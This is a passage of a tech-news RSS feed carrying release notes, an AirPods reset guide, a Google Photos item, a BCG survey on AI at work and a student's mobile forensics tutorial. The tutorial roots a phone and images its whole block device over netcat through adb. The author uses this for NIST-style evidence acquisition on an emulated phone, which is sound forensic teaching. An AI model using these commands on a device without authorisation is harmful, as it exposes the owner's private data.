<li>feat(app): new update button  (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574362376" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30460" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30460/hovercard" href="https://github.com/anomalyco/opencode/pull/30460">#30460</a>)</li>
<li>feat(app): color themes (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4592739489" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30824" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30824/hovercard" href="https://github.com/anomalyco/opencode/pull/30824">#30824</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/StarpTech/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/StarpTech">@StarpTech</a>:
<ul>
<li>refactor(opencode): improve startup time by 38% (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4574009060" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30453" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30453/hovercard" href="https://github.com/anomalyco/opencode/pull/30453">#30453</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ulises-jeremias/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ulises-jeremias">@ulises-jeremias</a>:
<ul>
<li>fix(github): enforce existing git author identity (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576991612" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30507" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30507/hovercard" href="https://github.com/anomalyco/opencode/pull/30507">#30507</a>)</li>
<li>fix(opencode): fallback to sh for curl upgrade (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4576822977" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30499" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30499/hovercard" href="https://github.com/anomalyco/opencode/pull/30499">#30499</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ariane-emory/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ariane-emory">@ariane-emory</a>:
<ul>
<li>fix(tui): show toast when variant_list keybind used with no variants (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588057581" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30724" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30724/hovercard" href="https://github.com/anomalyco/opencode/pull/30724">#30724</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/imnotlxy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/imnotlxy">@imnotlxy</a>:
<ul>
<li>fix(opencode): <code>ACP.loadSession</code> should replay all messages (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590285196" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30761" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30761/hovercard" href="https://github.com/anomalyco/opencode/pull/30761">#30761</a>)</li>
</ul>
</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinhacks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinhacks">@colinhacks</a>:
<ul>
<li>fix: bump @openrouter/ai-sdk-provider to 2.9.0 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4591339303" data-permission-text="Title is private" data-url="https://github.com/anomalyco/opencode/issues/30800" data-hovercard-type="pull_request" data-hovercard-url="/anomalyco/opencode/pull/30800/hovercard" href="https://github.com/anomalyco/opencode/pull/30800">#30800</a>)</li>
</ul>
</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Reset AirPods (All Models): Complete Step-by-Step Guide for 2026]]></title>
<description><![CDATA[If your AirPods won't connect, keep disconnecting randomly, or you're planning to sell them, a factory reset is often the fastest fix. Resetting AirPods removes saved Bluetooth connections and returns them to their default settings, allowing you to set them up like a brand-new pair. Apple has als...]]></description>
<link>https://tsecurity.de/de/3572538/ios-mac-os/how-to-reset-airpods-all-models-complete-step-by-step-guide-for-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572538/ios-mac-os/how-to-reset-airpods-all-models-complete-step-by-step-guide-for-2026/</guid>
<pubDate>Thu, 04 Jun 2026 14:26:05 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If your AirPods won't connect, keep disconnecting randomly, or you're planning to sell them, a factory reset is often the fastest fix. Resetting AirPods removes saved Bluetooth connections and returns them to their default settings, allowing you to set them up like a brand-new pair. Apple has also updated its reset instructions for newer models, including AirPods 4 and AirPods Pro 3.



In this guide, you'll learn how to reset every AirPods model, what happens during a reset, how to remove them from your Apple ID before selling them, and what to do if the reset process doesn't work.



A reset returns your AirPods to factory settings and removes all paired Bluetooth devices.



However, there is one important thing to know. Resetting AirPods does not remove them from your Apple Account (Apple ID). If you're selling or giving them away, you'll also need to remove them from Find My and your Apple account to avoid Pairing Lock issues.



A reset can help fix:




AirPods not connecting to iPhone, iPad, Mac, Android, or Windows devices



Random disconnects during calls or music playback



One AirPod is not producing sound



AirPods are showing the wrong device name



Bluetooth pairing issues



Problems after switching Apple Accounts



Preparing AirPods for sale or gifting




Table of contentsMethod 1: How to Reset AirPods (1st, 2nd, and 3rd Generation)Method 2: How to Reset AirPods Pro (1st, 2nd, and 3rd Generation)Method 3: How to Reset AirPods 4Method 4: How to Reset AirPods MaxHow to Pair AirPods After ResettingFor iPhone or iPadFor MacFor Android or WindowsMethod 5: Remove AirPods From Apple ID Before SellingOn iPhone or iPadOn MacThrough Find MyTroubleshooting AirPods That Won't Reset1. Fully Charge Everything2. Clean the Charging Contacts3. Remove Old Bluetooth Connections4. Update Device Software5. Reduce Wireless Interference6. Contact Apple SupportFAQsSummaryConclusion



Method 1: How to Reset AirPods (1st, 2nd, and 3rd Generation)



This method works for AirPods with a physical setup button on the back of the charging case.




Charge both the AirPods and charging case to at least 50%.



Place both AirPods inside the charging case.



Close the lid and wait 30 seconds.



Open the charging case lid.



Locate the setup button on the back of the case.



Press and hold the setup button for about 15 seconds.



Continue holding until the status light flashes amber and then white.



Release the button.



Close the lid.




Your AirPods have now been reset and are ready to pair again.



Method 2: How to Reset AirPods Pro (1st, 2nd, and 3rd Generation)



AirPods Pro models follow the same process as standard AirPods because they also include a setup button on the charging case.




Place both AirPods Pro earbuds in the charging case.



Close the lid and wait 30 seconds.



Open the lid.



Press and hold the setup button on the back.



Keep holding until the indicator flashes amber and then white.



Release the button.




The reset is complete.



Method 3: How to Reset AirPods 4



AirPods 4 introduced a different reset method because the charging case no longer includes a physical setup button. Apple now uses a touch-based reset process.




Ensure the AirPods and case have sufficient battery.



Place the AirPods in the charging case.



Close the lid and wait 30 seconds.



Open the lid.



Double-tap the front of the case.



Wait for the status light to flash white.



Double-tap the front again.



Wait until the light flashes faster.



Double-tap a third time.



The light should flash amber and then white.




Once the white light appears, the reset is complete.



Method 4: How to Reset AirPods Max



AirPods Max uses onboard buttons instead of a charging case.




Charge AirPods Max to at least 50%.



Press and hold the Noise Control button and Digital Crown simultaneously.



Continue holding for approximately 15 seconds.



Watch the LED status light near the charging port.



Release both buttons when the light flashes amber and then white.




Your AirPods Max are now restored to factory settings.



How to Pair AirPods After Resetting



After a successful reset, you'll need to reconnect your AirPods.



For iPhone or iPad




Unlock your device.



Open the AirPods case near your device.



Wait for the setup animation.



Tap Connect.



Follow the on-screen instructions.




For Mac




Open System Settings &gt; Bluetooth.



Put AirPods into pairing mode.



Select your AirPods from the list.



Click Connect.




For Android or Windows




Open Bluetooth settings.



Put AirPods into pairing mode.



Select AirPods from available devices.



Complete pairing.




Method 5: Remove AirPods From Apple ID Before Selling



Resetting alone is not enough if you're transferring ownership.



On iPhone or iPad




Open Settings.



Tap Bluetooth.



Tap the i icon next to your AirPods.



Select Forget This Device.



Confirm your choice.




On Mac




Open System Settings.



Go to Bluetooth.



Find your AirPods.



Click the information button.



Choose Forget This Device.




Through Find My




Open the Find My app.



Select your AirPods.



Choose Remove This Device.



Confirm removal.




This prevents the next owner from seeing messages stating that the AirPods are linked to another Apple Account.



Troubleshooting AirPods That Won't Reset



If resetting doesn't work, try these fixes.



1. Fully Charge Everything




Charge the case and AirPods for at least 15 minutes.



Use a certified charging cable.




2. Clean the Charging Contacts




Wipe the AirPods and case contacts with a soft, dry cloth.



Remove dirt or debris that may block charging.




3. Remove Old Bluetooth Connections




Forget the AirPods on all connected devices.



Restart those devices.



Try the reset again.




4. Update Device Software




Install the latest version of iOS, iPadOS, macOS, Windows, or Android updates.




5. Reduce Wireless Interference




Move away from crowded Bluetooth environments.



Try the reset in another room.




6. Contact Apple Support



If the status light never appears or the AirPods remain unresponsive after multiple attempts, a hardware issue may be present.



FAQs



Does resetting AirPods delete personal data? No. AirPods do not store music, messages, call history, or personal files. A reset only removes pairing information and settings.  Does resetting AirPods remove them from Apple ID? No. You must manually remove them from Find My and your Apple Account before selling or gifting them.  Why won't my AirPods reset? Low battery, dirty charging contacts, outdated software, or existing Bluetooth connections are the most common causes.  Can I reset AirPods without the charging case? For AirPods and AirPods Pro, no. The charging case is required. AirPods Max can be reset directly using the onboard buttons.  What does the flashing white light mean? A flashing white light means your AirPods are ready to pair with a device.  



Summary




Reset AirPods to fix connection, audio, and pairing problems.



AirPods 1, 2, 3, and AirPods Pro use the setup button on the case.



AirPods 4 use Apple's newer tap-based reset method.



AirPods Max require holding the Noise Control button and Digital Crown.



Resetting does not remove AirPods from your Apple Account.



Remove AirPods from Find My before selling or gifting them.



Charge and clean your AirPods if the reset process fails.



Contact Apple Support if hardware issues persist.




Conclusion



Knowing how to reset AirPods can solve most connectivity and pairing issues in just a few minutes. Whether you're troubleshooting a stubborn Bluetooth problem, setting up a new device, or preparing your AirPods for a new owner, following the correct reset method for your model is important. 



Just remember that a factory reset does not remove Apple's Pairing Lock, so always remove the AirPods from your Apple Account before selling or giving them away. With the right steps, your AirPods should be working like new again.]]></content:encoded>
</item>
<item>
<title><![CDATA[This Google Photos update has saved your digital photo frame]]></title>
<description><![CDATA[Aura's digital photo frames will continue to automatically sync with your Google Photos albums, after API changes threatened to remove the feature. Aura is now rolling out a full migration to Google's new Ambient API, allowing your Aura frame slideshows to be automatically updated with new photos...]]></description>
<link>https://tsecurity.de/de/3572445/it-nachrichten/this-google-photos-update-has-saved-your-digital-photo-frame/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3572445/it-nachrichten/this-google-photos-update-has-saved-your-digital-photo-frame/</guid>
<pubDate>Thu, 04 Jun 2026 14:01:41 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Aura's digital photo frames will continue to automatically sync with your Google Photos albums, after API changes threatened to remove the feature. Aura is now rolling out a full migration to Google's new Ambient API, allowing your Aura frame slideshows to be automatically updated with new photos, instead of requiring owners to manually add them […]]]></content:encoded>
</item>
<item>
<title><![CDATA[I Finished My Thesis Defense — A Journey to Mobile Forensic]]></title>
<description><![CDATA[I Finished My Thesis Defense — A Journey to Mobile ForensicThomas Shelby and May CarletonIf there is an award for making things complicated, I’d probably be the winner. The ultimate rule to graduate from uni is to do research that most likely you’ll be compatible with. Sure, I knew the theory, bu...]]></description>
<link>https://tsecurity.de/de/3571865/hacking/i-finished-my-thesis-defense-a-journey-to-mobile-forensic/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571865/hacking/i-finished-my-thesis-defense-a-journey-to-mobile-forensic/</guid>
<pubDate>Thu, 04 Jun 2026 10:21:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>I Finished My Thesis Defense — A Journey to Mobile Forensic</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*-qr_oOHlW2HYH-AKY0eCmw.gif"><figcaption>Thomas Shelby and May Carleton</figcaption></figure><p>If there is an award for making things complicated, I’d probably be the winner. The ultimate rule to graduate from uni is to do research that most likely you’ll be compatible with. Sure, I knew the theory, but I don't know why — and in every aspect, I always ended up doing the complete opposite *duh.</p><p>Instead of doing research in the field of mobile forensics and choosing to do what I thought I was capable of doing, I improvised — a lot. I try to implement a model and it’s a kind of mixture of semantic web and mobile forensics. You know, I spent my holiday crying because I felt so dumb that I was incapable of understanding the idea that I wanted to bring. Guess what? Through hardship, patience, determination, and revelation from God who sent me a humble yet very chill supervisor who always encouraged me to finish my work, I finally did it.</p><p>You know what, sometimes it’s not the situation that going to kill you, but panic will. I was worried that I couldn’t do my thesis, but after I did it, I was more worried that my work was too simple to be presented for my thesis defense (it’s not that simple af girl you are joking writing this). Guess I just spent my time overthinking things and got panicked when everything is actually negotiable and under control hahaha my bad. I’ll talk about my thesis later, now I want to show you how to do basic mobile forensics most people do in digital forensics investigation. I think you’re going to like it even though I thought it boring by now.</p><h4>Prerequisites</h4><p>Let me inform you that we need some equipment and tools to do this process.</p><ol><li><strong>Mobile Phone</strong></li></ol><p>Get yourself a phone, it’s up to you whether you want to use an iPhone, smartphone, or that indestructible N*kia 3310 *LOL. I bought an Android specifically for my thesis but since there are some problems on my campus, by the time I wrote this article, our phones were still seized by authorities. I know shit happens and <em>c’est la vie </em>but never mind, <strong>I’ll use a virtual phone emulated by GenyMotion App for this tutorial, so I’m sorry if you cannot relate.</strong></p><p><strong>2. Platform Tools</strong></p><p>Okay, now you need to download the tool at this address, I’ll inform you later what the function is. Download based on the operating system that you used, Mac, Linux or maybe Windows? <a href="https://developer.android.com/tools/releases/platform-tools">https://developer.android.com/tools/releases/platform-tools</a></p><p><strong>3. Autopsy</strong></p><p>Same with the Platform Tools, choose what suits best with your operating system, and I’ll tell you about the function later. Here <a href="https://www.autopsy.com/download/">https://www.autopsy.com/download/</a></p><p><strong>4. Busybox</strong></p><p>I need to inform you that I’m going to use the Physical Acquisition method for the acquisition process, so it requires us to root the phone (<strong>don’t do this if you don’t want to lose your phone’s warranty and make it vulnerable to security issues</strong>). Well, for the rooting process, we’ll definitely need Busybox. Mine uses Busybox Pro, but you can download the tool via PlayStore.</p><p><strong>5. Ncat and USB cable</strong></p><p>Cause we’re going to do the mobile forensic process on our laptop, or should we call it a forensic workstation, we still need to connect them to our phone. For this case, a USB cable is particularly not needed to connect the phone to our laptop since I use a virtual phone, but the Ncat tool is a must since it helps us to build a connection between the two devices. Here downloads the tool at this address <a href="https://nmap.org/ncat/">https://nmap.org/ncat/</a></p><h4>The Steps</h4><p>Mobile device forensics is the science of recovering digital evidence from a mobile device under forensically sound conditions using accepted methods. Digital forensics investigation is kind of a tricky process to do because any mistake we make during the process could make the digital evidence presented to the court invalid. So doing this process requires discipline. The standard usually used for mobile forensics is NIST SP 800–101 Revision 1. That standard divided the forensics process into four phases, they are preservation, acquisition, examination and analysis, and the last reporting of digital evidence.</p><p><strong>Preservation</strong></p><p>NIST SP-800–101 Rev 1 stated that evidence preservation is the process of securely maintaining custody of property without altering or changing the contents of data that reside on devices and removable media. Preservation involves searching, recognizing, documenting, and collecting electronic-based evidence. When we use the actual mobile phone, the process consists of documenting the condition of the devices, like taking a photo of the evidence, front, behind, and also the battery capacity.</p><p>Also, the steps that need to be done are enabling airplane mode and then turning off the cellular data and Wi-Fi. We need to do that to make sure that there is no signal exchange in our device that may modify the current state of the data stored on the mobile device. Most of the time Faraday bag is used in isolation to shield the evidence from external signals. Also, we need to disable the GPS to maintain the integrity of location-related evidence. If GPS is active, it may continue to collect and update location information, potentially altering the data relevant to the time of the incident under investigation. By turning it off, you freeze the GPS data at a specific point in time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T00kmv7oWKLy9P8piWpP_w.png"></figure><p><strong>Acquisition</strong></p><p>After doing the preservation step, be ready for the acquisition process. Acquisition is needed since you cannot directly be involved with the evidence, this method helps to maintain a digital chain of custody, which is essential for ensuring that the evidence is admissible in court. It demonstrates that the evidence hasn’t been tampered with or altered during the investigation process. So, in short, you need to duplicate, copy or image the evidence in this step.</p><p>As I mentioned before, I’ll do the physical acquisition. Physical acquisition itself refers to the process of directly accessing and copying data from a mobile device's physical storage, this method involves creating a bit-by-bit copy or image of the device’s storage, including both user data and system files, at a low-level, binary level, etc.</p><p>Previously I asked you to download Busybox, now time to install it on your phone. Busybox has utilities called ‘dd’ (used for low-level copying of data) that will help us in creating disk images for forensic analysis.</p><p>Below, on the left side, you see that I haven’t installed Busybox on the phone. I just keep the setting into default then click the <strong>Install </strong>button and let the app do its work. Now move to your phone or in my case the virtual phone. Before you can do the physical acquisition, you need to do some settings on your phone to make sure that the device is granted access to debugging interfaces. Find the “About phone” part on your phone then search for the Build number, click that around 7–8 times until it states that the developer mode has been enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cXLFbrRIpI95rSUCnNwJ-g.png"><figcaption>,</figcaption></figure><p>Great, if the developer options have been activated you can go to Settings and click that part. Look at the right picture, in the Developer options go find Debugging options then mark the USB debugging part to allow USB debugging.</p><p>We’ve done it here, it’s not a rooting process, it’s just a basic setting to help the device connect with the forensic workstation. You can do physical acquisition without rooting the phone if the phone that you used is a virtual phone, like mine. When it comes to actual phones, believe me, mate the process is kind of complicated. I failed like 5 times only to do the rooting things, tired but this gal has goals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4o6dvd5X-lBIVRvZ5gRUbQ.png"></figure><p>Now it’s the game changer, remember I asked you to download the platform tools, eh? Now open it via Command Prompt and run the adb.exe using this command below.</p><pre>adb.exe devices</pre><p>Below on the right side is the virtual phone opened by the Genymotion app. The command above is used to check whether the device is connected to the forensic workstation or not. You see on the left side below that the IP address I got from my virtual phone already appears, meaning the device is already connected to my laptop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9YHYDZw38QIojW9RKvW5mQ.png"></figure><p>The platform tools I mentioned before contain the adb.exe that we previously ran to our terminal, but also the Genymotion app. It provides the adb.exe to let the virtual phone communicate with the laptop.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SEpzmS83fA_NSGq5vS_AsQ.png"></figure><p>Now we’ll start to do imaging. First, allow the superuser access to the phone so that we can be root. Then open the adb.exe shell in Genymotion via the command prompt. Search the file “tools” first in Genymotion, you can track that through the path on my computer. Mine is C:\Program Files\Genymobile\Genymotion\tools . When you finish, you can run the command below to display the partition information of the phone. The part in the red square is the internal storage that we’re going to image, it’s around 5 GB.</p><pre>cat /proc/partitions</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a10OjkiGIAxXLhg9oC4UGw.png"></figure><p>Now open both terminals, the adb shell from platform tools and also from the Genymotions, but before that make sure you already installed the Ncat tools on the laptop. Okay, keep in mind that to make it easy for you, from now on I’ll place the adb shell from the Platform Tools on the left side and the adb shell from Genymotions is on the right side.</p><p>Before we can do the imaging or extract data from a mobile phone to our forensic workstation, we have to make the two devices listen to each other, just like what they’ve said mate — communication is key. Port forwarding can facilitate this communication and make the extraction possible, so please hit the command below.</p><pre>adb forward tcp:8888 tcp:8888</pre><p>When the connection is successful, it will reply back with “8888” which is the number of ports that we choose to route traffic. Now move to the right side, the command dd will help us to read data from the /dev/block/sdb device file (from the phone) and then send that data over the network to another device listening on port 8888 (the laptop) using ncor Ncat.</p><pre>dd if=/dev/block/sdb | busybox nc -l -p 8888</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*F2LLaZX7vDeV2UA6k-YLcQ.png"></figure><p>Back to the left side, hit the command below to capture data from the network connection and save the output to a file for further analysis or processing. The output literally will be an imaging file with the .dd format and for this file, I give it a name callitatest.dd.</p><pre>ncat.exe 127.0.0.1 8888 &gt; youcannameitasyoudesired.dd</pre><p>The output will be saved in the same directory where you place the platform-tools. Wait patiently as you watch the sign mark in the red square keep blinking. The imaging process will take time depending on the storage capacity of your phone, it gradually increases from KB to GB as you see in the right picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPxDeXV9U3rNwQMIrUXJRQ.png"></figure><p>Well, well, well, see the left picture the process is done and as you can see the .dd file size is definitely around 5 GB just like I mentioned the virtual phone storage capacity from the beginning. Also, when the process is done, you’ll see the notification in the Genymobile’s CMD just like in the right picture.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7369wZSbr8p-RE7wgiQ8Q.png"></figure><p><strong>Examination and Analysis</strong></p><p>The examination process uncovers digital evidence, including that which may be hidden or obscured. The results are gained through applying established scientifically based methods and should describe the content and state of the data fully, including the source and the potential significance. Data reduction, separating relevant from irrelevant information, occurs once the data is exposed.</p><p>The analysis process differs from the examination in that it looks at the results of the examination for its direct significance and probative value to the case. Examination is a technical process that is the province of a forensic specialist. However, analysis may be done by roles other than a specialist, such as the investigator or the forensic examiner.</p><p>We’ll use Autopsy to do the examination and analysis. Yeah, all your sins will be revealed here. First, open the Autopsy and make a <strong>New Case</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DV8Ax4POxSQ3EbTw2S0lnw.png"></figure><p>Give the case a name, like mine is Case1. After you finish just click the <strong>Next</strong> part.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mde52FGVw5WmOWzAOX-80g.png"></figure><p>Just keep clicking Next until you find this part. In this part, you need to browse the .dd file that we acquired in the acquisition phase before. After done, just keep clicking Next.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yek-l6UoWrF9oZYlEAbBrw.png"></figure><p>We need to configure the Ingest module here, please click <strong>Select All</strong>. The Ingest module is used to bring data from various sources into the Autopsy case management system. It helps with data acquisition, verification, and indexing, and allows for easy management and analysis of digital evidence within a case. It’s a critical component for forensic investigations, ensuring data integrity and efficiency in the analysis process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pjP6Zg4A_LEOWNOIbUyG1w.png"></figure><p>Keep clicking <strong>Next </strong>until the display looks like the picture below. Before you can do the examination and analysis, you’ll need to wait for the configuration until 100%.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cPxqMnL6UhgF95wLm6X28w.png"></figure><p>When it’s already 100%, you can start doing the examination and analysis now. The process involves examining specific artefacts such as chat messages, call logs, GPS data, and other information relevant to your investigation. Also export any relevant data, and findings, or validate the analysis results by confirming that the findings are consistent with your expectations and that your analysis was conducted accurately.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sGCWaflCrXmfjelQ41p-XQ.png"></figure><p><strong>Reporting</strong></p><p>Reporting involves creating a comprehensive overview of the investigation process, including the actions taken and findings. Effective reporting relies on thorough documentation of activities, observations, test results, and data interpretations. A well-crafted report is built upon robust records, notes, images, and data generated by tools. I’m not going to put the reports here because it will be too long, so don’t mind checking the NIST SP 800–101 Revision 1 document for the format and standard.</p><p><strong>Conclusion</strong></p><p>Whoever is struggling with the thesis, I feel you. With love…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*-U23R5XeiL9ArNVI.jpg"></figure><p><strong>Reference</strong></p><p>[1] Ayers, R., Brothers, S., &amp; Jansen, W. Guidelines on Mobile Device Forensics. Retrieved October 25, 2023, from <a href="https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-101r1.pdf">https://nvlpubs.nist.gov/nistpubs/specialpublications/nist.sp.800-101r1.pdf</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=bba5a30f3184" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/i-finished-my-thesis-defense-a-journey-to-mobile-forensic-bba5a30f3184">I Finished My Thesis Defense — A Journey to Mobile Forensic</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI saves workers a day a week, but they don’t know what to do with it]]></title>
<description><![CDATA[A report released Wednesday by Boston Consulting Group (BCG) indicates that many organizations are having difficulty converting efficiency gains that are AI-driven into any sort of measurable value.



The fourth edition of the consultancy’s annual Global AI at Work Survey reveals 42% of frontlin...]]></description>
<link>https://tsecurity.de/de/3571382/it-nachrichten/ai-saves-workers-a-day-a-week-but-they-dont-know-what-to-do-with-it/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3571382/it-nachrichten/ai-saves-workers-a-day-a-week-but-they-dont-know-what-to-do-with-it/</guid>
<pubDate>Thu, 04 Jun 2026 06:01:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A report released Wednesday by Boston Consulting Group (BCG) indicates that many organizations are having difficulty converting efficiency gains that are AI-driven into any sort of measurable value.</p>



<p>The fourth edition of the consultancy’s annual Global AI at Work Survey reveals 42% of frontline employees who use AI on a regular basis save upwards of a full day each week; however, 66% are not given guidance on what to do with time they save, and “more than half don’t redirect it to strategic work.”</p>



<p>The <a href="https://www.bcg.com/publications/2026/ai-at-work-why-strategy-matters-more-than-tools" target="_blank" rel="nofollow">report</a>, <em>AI at Work: Strategy Matters More Than Tools</em>, is based on a global survey of 11,749 employees in 14 markets, from industries ranging from financial services to the healthcare sector.</p>



<p><a href="https://www.bcg.com/about/people/experts/david-martin" target="_blank" rel="nofollow">David Martin</a>, global leader of people and organization work at BCG, and the report’s lead author, said via email that the number of employees lacking the required guidance is surprising, “but it also tracks with what we see in many AI transformations. Companies have moved quickly to give people tools, but many have not yet redesigned the work around those tools.”</p>



<p>Saved time, he added, does not automatically become value. If a frontline employee saves a few hours a week, but has no direction on whether to use that time for customer service, quality improvement, innovation, or faster execution, “that value can simply leak out of the organization”</p>



<p>The fix is for leaders to change the scoreboard, Martin said: “Don’t just measure AI adoption or hours saved. Decide where that time should go, measure whether it is being reinvested, and give managers clear guidance on how to help teams use it. This is where AI transformation becomes a management challenge, not just a technology rollout.”</p>



<p>In fact, said <a href="https://www.bcg.com/about/people/experts/vinciane-beauchene" target="_blank" rel="nofollow">Vinciane Beauchene,</a> a managing director and partner at BCG and one of the report’s five co-authors, “the first wave of AI focused on individual productivity. The coming wave will need to transform collective work.”</p>



<p>“Everyone is talking about AI replacing work,” she said, “but it is in fact really about rethinking the human value-add inside.”</p>



<h2 class="wp-block-heading">A managerial revolution underway</h2>



<p>According to Beauchene, “this is the role of leaders. Our survey reveals a true managerial revolution in the age of AI; 65% of managers and leaders now believe agents will take over at least half of their job in the next three years, and frontline workers see their jobs evolving towards more managing and directing AI.”</p>



<p>A BCG <a href="https://www.bcg.com/press/3june2026-ai-reshaping-jobs-faster-than-companies-reshaping-work" target="_blank" rel="nofollow">release</a> stated that the survey also highlights the continued emergence and maturity of AI agents, with 30% of respondents saying that agents are already integrated into workflows, more than double the number from last year’s report (13%).</p>



<p>Other key findings revealed that AI adoption among frontline workers has surged, with 74% saying they now use it daily or a few times a week, which is up 23 percentage points from a year ago. In addition, six out of 10 people believe that, within the next three years, AI agents could do at least half of their jobs.</p>



<p>And a survey <a href="https://web-assets.bcg.com/eb/92/4b39b729403fb6fcae4ff974b234/ai-at-work-slideshow-jun-2026-1.pdf" target="_blank" rel="nofollow">slideshow</a> released by the company pointed out, “the AI ‘honeymoon’ won’t last unless leaders bring strategic clarity driving sustained impact AI’s novelty and cognitive stretch fuel enjoyment early on. But sustained joy comes from strategic clarity. Employees thrive when the direction is real and the message reaches them with strong CEO involvement.”</p>



<h2 class="wp-block-heading">Strategic clarity is a key differentiator</h2>



<p>The report suggests that CEOs take a holistic approach to AI transformations by focusing on business outcomes as opposed to AI usage, investing in “redesigning work end-to-end, not in more tools,” placing people at the heart of that redesign, and governing AI not as a one-off program, but as a moving target.</p>



<p>Overall, BCG says that strategic clarity, “more broadly emerges from the survey as the most crucial differentiator in sustaining AI’s impact over time as organizations are moving past simply implementing AI tools in use case deployment initiatives.”</p>



<p>Increasingly, it adds, “the focus is shifting to redesigning end-to-end workﬂows and processes to reimagine functions, as well as to building and innovating new business models and products to drive growth, which have nearly doubled year-over-year.”</p>



<p>Global leader of BCG’s tech build and design unit BCG X <a href="https://www.bcg.com/about/people/experts/sylvain-duranton" target="_blank" rel="nofollow">Sylvain Duranton</a>, also a report co-author, added, “employees don’t push back on AI intensity; they thrive when the strategy is clear, the direction is real, and the message reaches them.”</p>



<p>He added, “Business value and employee enjoyment aren’t trade-offs. The organizations capturing the greatest business value are the same ones where employees enjoy work the most.”</p>



<p>Despite the opportunity, the report notes that only one-third of frontline employees say that leadership’s communications about AI are clear, and only 28% “see a strong connection between what leaders say and what the organization actually does.”</p>



<p>However, Martin said, management can’t deal with this situation on its own. “CIOs have a critical role, but this is not a problem they can solve alone, and I would not frame it as something IT created by itself,” he noted.</p>



<p>Many organizations, he said, “started with the natural first step of getting tools into people’s hands safely and at scale. That was necessary, but it is not sufficient.”</p>



<p>The next phase “has to be much more cross-functional,” he said. “CIOs should help set the technology foundation, governance, data model, and measurement systems, but they also have an important role in creating strategic clarity. Employees need to understand why the organization is using AI, where it is meant to create value, and how it should change the work.”</p>



